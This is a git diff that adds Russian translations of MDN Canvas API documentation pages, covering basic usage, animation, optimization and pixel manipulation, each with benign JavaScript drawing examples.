input.js | Level.js | Player.js | RayCaster.html | RayCaster.js | trace.css | trace.js

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/canvas_api/index.html b/files/ru/web/api/canvas_api/index.html new file mode 100644 index 0000000000..e3986f8d75 --- /dev/null +++ b/files/ru/web/api/canvas_api/index.html @@ -0,0 +1,161 @@ +--- +title: Canvas +slug: Web/API/Canvas_API +tags: + - API + - Canvas + - Обзор + - Справка +translation_of: Web/API/Canvas_API +--- +
{{CanvasSidebar}}
+ +

Элемент {{HTMLElement("canvas")}}, добавленный в HTML5, предназначен для создания графики с помощью JavaScript. Например, его используют для рисования графиков, создания фотокомпозиций, анимаций и даже обработки и рендеринга видео в реальном времени.

+ +

«Canvas»  в переводе с английского означает «холст».

+ +

Приложения от Mozilla поддерживают <canvas> начиная с Gecko 1.8 (т.е. с Firefox 1.5). Этот элемент первоначально был представлен Apple для OS X Dashboard и Safari. Internet Explorer поддерживает <canvas> начиная с 9 версии; для более ранних версий IE поддержку для <canvas> можно добавить с помощью скрипта из проекта Google's Explorer Canvas. Google Chrome и Opera 9 также поддерживают <canvas>.

+ +

Элемент <canvas> также используется технологией WebGL для отрисовки аппаратно-ускоренной 3D-графики на вебстраницах.

+ +

Пример

+ +

Это простой пример использования {{domxref("CanvasRenderingContext2D.fillRect()")}} метода.

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+
+ +

Отредактируйте код ниже, чтобы увидеть результат на холсте.

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

Справочные материалы

+ +
+ +
+ +

Интерфейсы, связанные с WebGLRenderingContext, ссылаются на WebGL.

+ +

Руководства

+ +
+
Canvas tutorial
+
Подробный учебник, охватывающий как основное использование <canvas>, так и его расширенные функции.
+
Фрагменты кода: Canvas
+
Некоторые фрагменты кода, ориентированные на разработчиков, с использованием <canvas>.
+
Demo: A basic ray-caster
+
Демо анимации трассировки-лучей используя canvas.
+
Drawing DOM objects into a canvas
+
Как рисовать DOM контент, таких как HTML элементы, в canvas.
+
Manipulating video using canvas
+
Объединяет {{HTMLElement("video")}} и {{HTMLElement("canvas")}} для манипулирования видео данных в реальном времени.
+
+ +

Ресурсы

+ +

Основное

+ + + +

Библиотеки

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "the-canvas-element.html", "Canvas")}}{{Spec2('HTML WHATWG')}} 
+ +

См.также

+ + diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html new file mode 100644 index 0000000000..f9dc3f7a3e --- /dev/null +++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html @@ -0,0 +1,376 @@ +--- +title: Расширенные анимации +slug: Web/API/Canvas_API/Tutorial/Advanced_animations +translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}
+ +
+

В предыдущей главе мы сделали несколько базовых анимаций и узнали, как можно двигать вещи. В этой части мы более подробно рассмотрим само движение и собираемся добавить некоторую физику, чтобы сделать наши анимации более продвинутыми.

+
+ +

Рисование мяча

+ +

Мы собираемся использовать шар для наших анимационных исследований, поэтому давайте сначала нарисуем этот шар на canvas. Нам нужен следующий код.

+ +
<canvas id="canvas" width="600" height="300"></canvas>
+
+ +

Как обычно, нам нужен контекст рисования. Чтобы нарисовать шар, мы создадим объект ball, который содержит свойства и метод draw() , чтобы нарисовать его на canvas.

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var ball = {
+  x: 100,
+  y: 100,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+ball.draw();
+ +

Здесь нет ничего особенного, шар на самом деле представляет собой простой круг и рисуется с помощью метода {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.

+ +

Добавление скорости

+ +

Теперь, когда у нас есть шар, мы готовы добавить базовую анимацию, как мы узнали из последней главы этого урока. Опять же, {{domxref("window.requestAnimationFrame()")}} помогает нам контролировать анимацию. Мяч перемещается, добавляя вектор скорости в положение. Для каждого кадра мы также {{domxref("CanvasRenderingContext2D.clearRect", "очищаем", "", 1)}} холст, чтобы удалить старые круги из предыдущих кадров.

+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();
+
+ +

Границы

+ +

Без какого-либо граничного коллизионного тестирования наш мяч быстро выбегает из холста. Нам нужно проверить, не находятся ли x и y положения шара вне размеров холста и не инвертируют направление векторов скорости. Для этого мы добавим следующие проверки в метод draw :

+ +
if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {
+  ball.vy = -ball.vy;
+}
+if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {
+  ball.vx = -ball.vx;
+}
+ +

Первое демо

+ +

Посмотрим, как он выглядит в действии. Переместите мышь на холст, чтобы запустить анимацию.

+ + + +

{{EmbedLiveSample("First_demo", "610", "310")}}

+ +

Ускорение

+ +

Чтобы сделать движение более реальным, вы можете играть со скоростью, нпример так:

+ +
ball.vy *= .99;
+ball.vy += .25;
+ +

Это замедляет вертикальную скорость каждого кадра, так что мяч будет просто отскакивать от пола в конце.

+ + + +

{{EmbedLiveSample("Second_demo", "610", "310")}}

+ +

Скользящий эффект

+ +

До сих пор мы использовали метод {{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}}, когда очищали предыдущий кадр. Если заменить этот метод на {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} с полу-прозрачным стилем, можно легко создать эффект скольжения.

+ +
ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+ctx.fillRect(0, 0, canvas.width, canvas.height);
+ + + +

{{EmbedLiveSample("Third_demo", "610", "310")}}

+ +

Добавление управления мышью

+ +

Чтобы получить некоторый контроль над мячом, мы можем заставить его следовать за нашей мышью, например, с помощью события mousemove . Событие click отпускает мяч и позволяет ему снова прыгать

+ + + +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+var running = false;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 1,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function clear() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0,0,canvas.width,canvas.height);
+}
+
+function draw() {
+  clear();
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mousemove', function(e) {
+  if (!running) {
+    clear();
+    ball.x = e.clientX;
+    ball.y = e.clientY;
+    ball.draw();
+  }
+});
+
+canvas.addEventListener('click', function(e) {
+  if (!running) {
+    raf = window.requestAnimationFrame(draw);
+    running = true;
+  }
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+  running = false;
+});
+
+ball.draw();
+
+ +

Переместите шар с помощью мыши и отпустите его одним щелчком.

+ +

{{EmbedLiveSample("Adding_mouse_control", "610", "310")}}

+ +

Breakout(арканоид)

+ +

В этой короткой главе описаны некоторые приемы создания продвинутой анимации.  Как насчет того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите Game development чтобы узнать больше об играх.

+ +

Смотрите так же

+ + + +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}

diff --git a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html new file mode 100644 index 0000000000..3c32d75985 --- /dev/null +++ b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html @@ -0,0 +1,150 @@ +--- +title: Базовое использование Canvas +slug: Web/API/Canvas_API/Tutorial/Basic_usage +tags: + - Canvas +translation_of: Web/API/Canvas_API/Tutorial/Basic_usage +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}
+ +

Давайте начнем этот урок с изучения элемента {{HTMLElement("canvas")}} как такового. В конце этой страницы Вы узнаете как устанавливать canvas 2D context и нарисуете первый пример в вашем браузере.

+ +

Элемент <canvas>

+ +
<canvas id="tutorial" width="150" height="150"></canvas>
+
+ +

Он выглядит как элемент <img>, но его отличие в том, что он не имеет атрибутов src и alt. Элемент <canvas> имеет только два атрибута - ширину и высоту. Оба они не обязательны и могут быть выставлены с использованием свойств DOM. Если атрибуты высоты и ширины не установлены, canvas будет по умолчанию шириной 300 пикселей и в высоту 150 пикселей. Вы так же можете выставить размеры произвольно в CSS, но во время рендеринга изображение будет масштабироваться в соответствии с его размером и ориентацией.

+ +
+

Примечание: Если вид вашего изображения кажется вам искаженным, попробуйте указать атрибуты ширины и высоты в явном виде в атрибутах <canvas> , а не с помощью CSS.

+
+ +

Атрибут id не специфичен для элемента <canvas>, но он может быть применен по умолчанию в атрибутах HTML, так как он может быть использован (почти) для любого элемента HTML (так же как класс). Это всегда отличная идея использовать id, так как это позволяет намного проще идентифицировать наш элемент в сценарии.

+ +

Элемент <canvas> может быть стилизован также, как любое изображение (margin, border, background, и т. д.). Эти правила, как бы то ни было, фактически не влияют на отрисовку в canvas. Мы увидим как это сделано позже в этом руководстве. Когда стили не указаны, canvas будет по умолчанию абсолютно прозрачным.

+ +
+

Запасное содержимое

+ +

Из-за того, что старые браузеры (в особенности, версии Internet Explorer раннее чем 9) не поддерживают элемент {{HTMLElement("canvas")}}, Вам следует предоставить запасное содержимое для отображения этими браузерами.

+ +

Это очень просто: мы всего лишь предоставляем альтернативное содержимое внутри элемента <canvas>. Браузеры, которые не поддерживают <canvas> проигнорируют container и отобразят запасное содержимое этого тега. Браузеры, которые поддерживают <canvas> проигнорируют запасное содержимое, и просто нормально отобразят canvas.

+ +

Например, мы можем предоставить текстовое описание содержимого canvas или предоставить статичное изображение динамически отображаемого содержимого. Это может выглядеть как-то так:

+ +
<canvas id="stockGraph" width="150" height="150">
+  current stock price: $3.15 +0.15
+</canvas>
+
+<canvas id="clock" width="150" height="150">
+  <img src="images/clock.png" width="150" height="150" alt=""/>
+</canvas>
+
+ +

Сообщать пользователю о том, что его браузер не поддерживает canvas не поможет тем, кто не может прочесть содержимое тега canvas, к примеру. Предоставление полезной информации в дополнительном canvas делает этот тег более доступным для широкого использования.

+ +

Требуется тег </canvas>

+ +

В отличии от элемента {{HTMLElement("img")}}, элемент {{HTMLElement("canvas")}}  требует закрывающийся тег (</canvas>). Если этот тег не предоставлен, остаток документа будет считаться запасным контентом и не будет отображен.

+ +

Если запасной контент не нужен, простой  <canvas id="foo" ...></canvas> полностью совместим со всеми браузерами, что поддерживают canvas.

+ +

Рендеринг содержимого (контекста)

+ +

Элемент {{HTMLElement("canvas")}} в документе создается с фиксированным размером элемента для рисования, который может иметь один или несколько контекстов для рендеринга, создавая и манипулируя содержимым для показа. В данном руководстве мы сфокусируемся на 2D рендеринге. Другие контексты могут предоставлять разные типы рендеринга, к примеру WebGl использует 3D контекст основанный на OpenGL ES.

+ +

Холст изначально пустой и прозрачный. Первым делом скрипт получает доступ к контексту и отрисовывает его. Элемент {{HTMLElement("canvas")}} имеет метод getContext(), используется для получения контекста визуализации и ее функции рисования. getContext() принимает один параметр, тип контекста. Для 2D графики, которая охвачена этим руководством будем использвать метку "2d".

+ +
var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');
+
+ +

В первой строке скрипта мы получаем узел нашего холста {{HTMLElement("canvas")}}, далее с помощью  {{domxref("document.getContext()")}} метода мы присваиваем ему контекст. Имея узел элемента , вы всегда можете получить для рисования контекст при помощи метода getContext().

+ +
+

Проверка поддержки

+ +

Ранее уже упоминалось, что в браузерах, которые не поддерживают {{HTMLElement("canvas")}} отображается запасное содержимое. Но помимо этого, определить, поддерживает ли браузер canvas, можно прямо из кода, проверив наличие метода getContext(). Код с запасным содержимым, который мы приводили Выше, становится следующим:

+ +
var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext){
+  var ctx = canvas.getContext('2d');
+  // drawing code here
+} else {
+  // canvas-unsupported code here
+}
+
+
+
+ +

Скелет шаблона

+ +

Здесь минимальный шаблон, который мы будем использовать как начальную точку для дальнейших примеров.

+ +
+

Примечание: вставка скрипта внутрь HTML не является хорошей практикой. Мы делаем это здесь, чтобы сделать пример короче.

+
+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <title>Canvas tutorial</title>
+    <script type="text/javascript">
+      function draw(){
+        var canvas = document.getElementById('tutorial');
+        if (canvas.getContext){
+          var ctx = canvas.getContext('2d');
+        }
+      }
+    </script>
+    <style type="text/css">
+      canvas { border: 1px solid black; }
+    </style>
+  </head>
+  <body onload="draw();">
+    <canvas id="tutorial" width="150" height="150"></canvas>
+  </body>
+</html>
+
+ +

Скрипт вызывает функцию draw(), которая выполнится, когда страница закончит загрузку. Это делается путем события {{event("load")}} в документе. Эта функция может быть вызвана как единожды, так и с помощью данных методов {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, или любым другим обработчиком события, когда страница будет загружена.

+ +

Вот как шаблон будет выглядеть в действии.

+ +

{{EmbedLiveSample("Скелет_шаблона", 160, 160)}}

+ +

Простой пример

+ +

Для начала, давайте посмотрим на простой пример, который рисует два пересекающихся прямоугольника, один из которых имеет прозрачность alpha. Мы изучим, как это работает более детально в последующих примерах.

+ +
<!DOCTYPE html>
+<html>
+ <head>
+  <script type="application/javascript">
+    function draw() {
+      var canvas = document.getElementById("canvas");
+      if (canvas.getContext) {
+        var ctx = canvas.getContext("2d");
+
+        ctx.fillStyle = "rgb(200,0,0)";
+        ctx.fillRect (10, 10, 55, 50);
+
+        ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+        ctx.fillRect (30, 30, 55, 50);
+      }
+    }
+  </script>
+ </head>
+ <body onload="draw();">
+   <canvas id="canvas" width="150" height="150"></canvas>
+ </body>
+</html>
+
+ +

Этот пример выглядит так:

+ +

{{EmbedLiveSample("Простой_пример", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}

diff --git a/files/ru/web/api/canvas_api/tutorial/finale/index.html b/files/ru/web/api/canvas_api/tutorial/finale/index.html new file mode 100644 index 0000000000..63187795bd --- /dev/null +++ b/files/ru/web/api/canvas_api/tutorial/finale/index.html @@ -0,0 +1,51 @@ +--- +title: Finale +slug: Web/API/Canvas_API/Tutorial/Finale +translation_of: Web/API/Canvas_API/Tutorial/Finale +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Optimizing_canvas")}}
+ +
+

Поздравляем! Вы завершили Canvas tutorial! Эти знания помогут вам создавать великолепную 2d графику в сети.

+
+ +

Больше примеров и учебных материалов

+ +

Различные демки и дополнительные разъяснеия о canvas расположены на этих сайтах:

+ +
+
Codepen.io
+
Песочница для фронтенд разработчика и редактор кода в браузере.
+
Canvasdemos.com
+
Приложения, игры, инструменты и учебные пособия для HTML5 canvas элементов.
+
HTML5CanvasTutorials
+
Примеры для большинтсва canvas APIs.
+
31 days of Canvas tutorials
+
Прекрасное введение в разработку графики на JavaScript.
+
Game development
+
Игры - одна из наболее популярных  действий на компьютере. Постоянно появляются новые технологии, делающих возможным разработку более лучших и мощных игр, чем те, которые могли быть созданы стандартными средствами веб браузеров.
+
+ +

Другие Web API

+ +

Эти APIs могут быть полезны  в дальнейшей работе с canvas и графикой:

+ +
+
WebGL
+
API для отображения интерактивной 3D графики.
+
SVG
+
Масштабируемая Векторная Графика (Scalable Vector Graphics) позволяет описывать картинки в виде набора векторов (линий) и  форм, позволяюших плавно изменять размер вне зависимости от размера в котором они нарисованы.
+
Web Audio
+
Web Audio API представляет мощную и универсальную систему контроля аудио в сети, позволяющая разработчикам получить аудио ресурсы, добавлять эффекты аудио, создавать аудио визуализацию,  применять пространственные эффекты (такие как сдвиг) и многое другое.
+
+ +

Вопросы

+ +
+
Stackoverflow
+
Вопросы с тегом "canvas".
+
Comments about this tutorial – the MDN documentation community
+
Если у вас остались вопросы об этом учебнике или вы хотите поблагодарить нас, не стесняйтесь обращаться к нам!
+
+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Optimizing_canvas")}}

diff --git a/files/ru/web/api/canvas_api/tutorial/index.html b/files/ru/web/api/canvas_api/tutorial/index.html new file mode 100644 index 0000000000..8409367956 --- /dev/null +++ b/files/ru/web/api/canvas_api/tutorial/index.html @@ -0,0 +1,58 @@ +--- +title: Руководство по Canvas +slug: Web/API/Canvas_API/Tutorial +tags: + - Canvas + - Graphics +translation_of: Web/API/Canvas_API/Tutorial +--- +

{{CanvasSidebar}}

+ +

<canvas> — это HTML элемент, использующийся для рисования графики средствами языков программирования (обычно это JavaScript). Он может, к примеру, использоваться для рисования графов, создания коллажей или простой (и не очень) анимации.
+ Изображения в правой части статьи являются примерами использования <canvas>.
+ Примеры их создания приводятся в этой статье. 

+ +

В этом руководстве описываются основы использования элемента <canvas> для рисования 2D-графики. Приведенные примеры дадут вам понимание того, что вы можете сделать с помощью <canvas>, а использованные в статье фрагменты кода помогут в создании собственных проектов.

+ +

Впервые <canvas> использовался компанией Apple для создания Mac OS X Dashboard, а затем был реализован в Web-браузерах. На сегодняшний день все основные браузеры поддерживют работу с <canvas>. Тег <canvas> часть спецификации WhatWG Web applications 1.0 также известной как HTML5.

+ +

Прежде чем начать

+ +

Работа с элементом <canvas> довольно проста, но потребует от вас базовых знаний HTML и JavaScript. Следует предупредить о том, что элемент <canvas> не работает в некоторых старых браузерах, но поддерживается большинством современных браузеров. Стандартный размер <canvas>  300px × 150px (ширина × высота), однако эти размеры могут быть изменены при помощи HTML-атрибутов height и width. Для рисования графики <canvas> мы будем использовать javascript context object,  который создает графику динамически.

+ +

В этом руководстве

+ + + +

Смотрите Также

+ + + +

Примечание для помощников

+ +

Из-за досадной технической ошибки, которая произошла 17 июня 2013 года, мы утеряли историю по этому руководству, в том числе атрибуции ко всем прошлым, участвовавшие в его создании. Мы приносим извинения за это, и надеемся, что вы простите нас за этот несчастный случай. 

+ +
+
{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}
+
diff --git a/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html new file mode 100644 index 0000000000..40a83917e8 --- /dev/null +++ b/files/ru/web/api/canvas_api/tutorial/optimizing_canvas/index.html @@ -0,0 +1,120 @@ +--- +title: Оптимизация canvas +slug: Web/API/Canvas_API/Tutorial/Optimizing_canvas +tags: + - Canvas + - Graphics + - HTML + - HTML5 + - Tutorial + - Оптимизация + - Урок + - Холст +translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}
+ +
+

Элемент {{HTMLElement ("canvas")}} является одним из наиболее широко используемых инструментов для рендеринга 2D-графики в Интернете. Однако когда веб-сайты и приложения используют Canvas API на пределе его возможностей, производительность начинает снижаться. В этой статье приводятся предложения по оптимизации использования элемента canvas для обеспечения хорошей работы графики.

+
+ +

Советы по производительности

+ +

Ниже приведен сборник советов по улучшению производительности canvas.

+ +

Предварительно отрисуйте похожие примитивы или повторяющиеся объекты на offscreen canvas

+ +

Если вы повторяете одни и те же операции рисования в каждом кадре анимации, рассмотрите возможность их выгрузки на offscreen canvas. Затем вы можете визуализировать закадровое изображение на свой основной canvas так часто, как это необходимо, без необходимости повторять шаги, необходимые для его генерации.

+ +
myCanvas.offscreenCanvas = document.createElement('canvas');
+myCanvas.offscreenCanvas.width = myCanvas.width;
+myCanvas.offscreenCanvas.height = myCanvas.height;
+
+myCanvas.getContext('2d').drawImage(myCanvas.offScreenCanvas, 0, 0);
+
+ +

Избегайте координат с плавающей точкой и используйте вместо них целые числа

+ +

Субпиксельный рендеринг происходит при рендеринге объектов на canvas без целых значений.

+ +
ctx.drawImage(myImage, 0.3, 0.5);
+
+ +

Это заставляет браузер выполнять дополнительные вычисления для создания эффекта сглаживания. Чтобы избежать этого, обязательно округлите все координаты, используемые в вызовах {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}, например, с помощью {{jsxref("Math.floor()")}}.

+ +

Не масштабируйте изображения в drawImage

+ +

При загрузке кэшируйте изображения разных размеров на offscreen canvas, а не постоянно масштабируйте их в {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}.

+ +

Используйте несколько слоев canvas для сложных сцен

+ +

Вы можете обнаружить, что некоторые объекты в вашем приложении нужно часто перемещать или менять, в то время как другие остаются относительно статичными. Возможной оптимизацией в этой ситуации является наложение ваших элементов с использованием нескольких элементов <canvas>.

+ +

Например, допустим, у вас есть игра с пользовательским интерфейсом наверху, геймплеем в середине и статическим фоном внизу. В этом случае вы можете разбить свою игру на три слоя <canvas>. Пользовательский интерфейс будет меняться только при изменении пользователем, слой с игровым процессом будет меняться с каждым новым кадром, а фон останется в основном неизменным.

+ +
<div id="stage">
+  <canvas id="ui-layer" width="480" height="320"></canvas>
+  <canvas id="game-layer" width="480" height="320"></canvas>
+  <canvas id="background-layer" width="480" height="320"></canvas>
+</div>
+
+<style>
+  #stage {
+    width: 480px;
+    height: 320px;
+    position: relative;
+    border: 2px solid black;
+  }
+
+  canvas { position: absolute; }
+  #ui-layer { z-index: 3; }
+  #game-layer { z-index: 2; }
+  #background-layer { z-index: 1; }
+</style>
+
+ +

Используйте простой CSS для больших фоновых изображений

+ +

Если у вас есть статическое фоновое изображение, вы можете нарисовать его на простом элементе {{HTMLElement("div")}}, используя свойство CSS {{cssxref("background")}}, и расположить его под canvas. Это сведет на нет необходимость рендеринга фона на canvas на каждом тике.

+ +

Масштабирование холста с использованием CSS-преобразований

+ +

CSS-преобразования быстрее, поскольку они используют графический процессор. В идеале, не стоит не масштабировать canvas, или можно использовать меньший canvas и увеличивать его при необходимости, но не уменьшать.

+ +
var scaleX = window.innerWidth / canvas.width;
+var scaleY = window.innerHeight / canvas.height;
+
+var scaleToFit = Math.min(scaleX, scaleY);
+var scaleToCover = Math.max(scaleX, scaleY);
+
+stage.style.transformOrigin = '0 0'; //scale from top left
+stage.style.transform = 'scale(' + scaleToFit + ')';
+
+ +

Отключите прозрачность

+ +

Если ваше приложение использует canvas и не нуждается в прозрачном фоне, установите для параметра alphaзначение false при создании контекста рисования с помощью {{domxref("HTMLCanvasElement.getContext()")}}. Эта информация может использоваться браузером для оптимизации рендеринга.

+ +
var ctx = canvas.getContext('2d', { alpha: false });
+ +

Другие советы

+ + + +

Смотрите также

+ + + +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}

diff --git a/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html new file mode 100644 index 0000000000..8b8653a9b3 --- /dev/null +++ b/files/ru/web/api/canvas_api/tutorial/pixel_manipulation_with_canvas/index.html @@ -0,0 +1,267 @@ +--- +title: Пиксельная манипуляция с холстом +slug: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas +tags: + - Графика + - Промежуточный + - Руководство + - Холст +translation_of: Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}
+ +
+

До сих пор мы не смотрели на фактические пиксели нашего объекта canvas (далее "холст"). С объектом ImageData вы можете напрямую читать и писать массив данных для управления пиксельными данными. Мы также рассмотрим, как можно сгладить сглаживание изображения (сглаживание) и как сохранить изображения с вашего холста.

+
+ +

Объект ImageData

+ +

Объект {{domxref ("ImageData")}} представляет базовые пиксельные данные области объекта холста. Он содержит следующие атрибуты только для чтения:

+ +
+
width
+
Ширина изображения в пикселях.
+
height
+
Высота изображения в пикселях.
+
data
+
A {{jsxref ("Uint8ClampedArray")}} представляет собой одномерный массив, содержащий данные в порядке RGBA, с целыми значениями от 0 до 255 (в комплекте).
+
+ +

Свойство data возвращает {{jsxref ("Uint8ClampedArray")}}, к которому можно получить доступ, чтобы посмотреть на необработанные пиксельные данные; каждый пиксель представлен четырьмя однобайтовыми значениями (красный, зеленый, синий и альфа в этом порядке, то есть формат «RGBA»). Каждый компонент цвета представлен целым числом от 0 до 255. Каждому компоненту присваивается последовательный индекс внутри массива, причем красный компонент верхнего левого пикселя находится в индексе 0 внутри массива. Затем пиксели идут слева направо, затем вниз, по всему массиву.

+ +

{{Jsxref ("Uint8ClampedArray")}} содержит высоту × ширину × 4 байта данных, значения индекса варьируются от 0 до (высота × ширина × 4) -1.

+ +

Например, чтобы прочитать значение синего компонента из пикселя в столбце 200, строка 50 на изображении, вы должны сделать следующее:

+ +
blueComponent = imageData.data[((50 * (imageData.width * 4)) + (200 * 4)) + 2];
+ +

Вы можете получить доступ к размеру массива пикселей в байтах, прочитав атрибут Uint8ClampedArray.length:

+ +
var numBytes = imageData.data.length;
+
+ +

Создание объекта ImageData

+ +

Чтобы создать новый пустой объект ImageData , вы должны использовать метод {{domxref ("CanvasRenderingContext2D.createImageData", "createImageData ()")}}. Существуют две версии метода createImageData() :

+ +
var myImageData = ctx.createImageData(width, height);
+ +

Это создает новый объект ImageData с указанными параметрами. Все пиксели заданы прозрачным черным.

+ +

Вы также можете создать новый объект ImageData ImageData с теми же размерами, что и объект, заданный anotherImageData . Все пиксели нового объекта установлены на прозрачный черный. Это не копирует данные изображения!

+ +
var myImageData = ctx.createImageData(anotherImageData);
+ +

Получение пиксельных данных для контекста

+ +

Чтобы получить объект ImageData , содержащий копию пиксельных данных для контекста холста, вы можете использовать метод getImageData() :

+ +
var myImageData = ctx.getImageData(left, top, width, height);
+ +

Этот метод возвращает объект ImageData , представляющий пиксельные данные для области холста, углы которого представлены точками (left , top), (left+width , top), (left , top+height) и (left+width , top+height). Координаты задаются в единицах пространства координат холста.

+ +
+

Примечание: Любые пиксели за пределами холста возвращаются как прозрачный черный цвет в результирующий объект ImageData .

+
+ +

Этот метод также показан в статье Manipulating video using canvas.

+ +

Выбор цвета

+ +

В этом примере мы используем метод getImageData() для отображения цвета под курсором мыши. Для этого нам нужна текущая позиция мыши с layerX и layerY, затем мы просматриваем пиксельные данные в этой позиции в массиве пикселей, который предоставляет нам getImageData() . Наконец, мы используем данные массива для установки цвета фона и текста <div> для отображения цвета.

+ + + +
var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+img.onload = function() {
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+};
+var color = document.getElementById('color');
+function pick(event) {
+  var x = event.layerX;
+  var y = event.layerY;
+  var pixel = ctx.getImageData(x, y, 1, 1);
+  var data = pixel.data;
+  var rgba = 'rgba(' + data[0] + ', ' + data[1] +
+             ', ' + data[2] + ', ' + (data[3] / 255) + ')';
+  color.style.background =  rgba;
+  color.textContent = rgba;
+}
+canvas.addEventListener('mousemove', pick);
+
+ +

{{ EmbedLiveSample('A_color_picker', 610, 240) }}

+ +

Отображение пиксельных данных в контекст

+ +

Вы можете использовать метод putImageData() для рисования пиксельных данных в контексте:

+ +
ctx.putImageData(myImageData, dx, dy);
+
+ +

Параметры dxи dyуказывают координаты устройства в контексте, в котором будет отображаться верхний левый угол пиксельных данных, которые вы хотите нарисовать.

+ +

Например, чтобы нарисовать все изображение, представленное myImageData, в верхнем левом углу контекста, вы можете просто сделать следующее:

+ +
ctx.putImageData(myImageData, 0, 0);
+
+ +

Оттенки серого цвета и инвертирование цветов

+ +

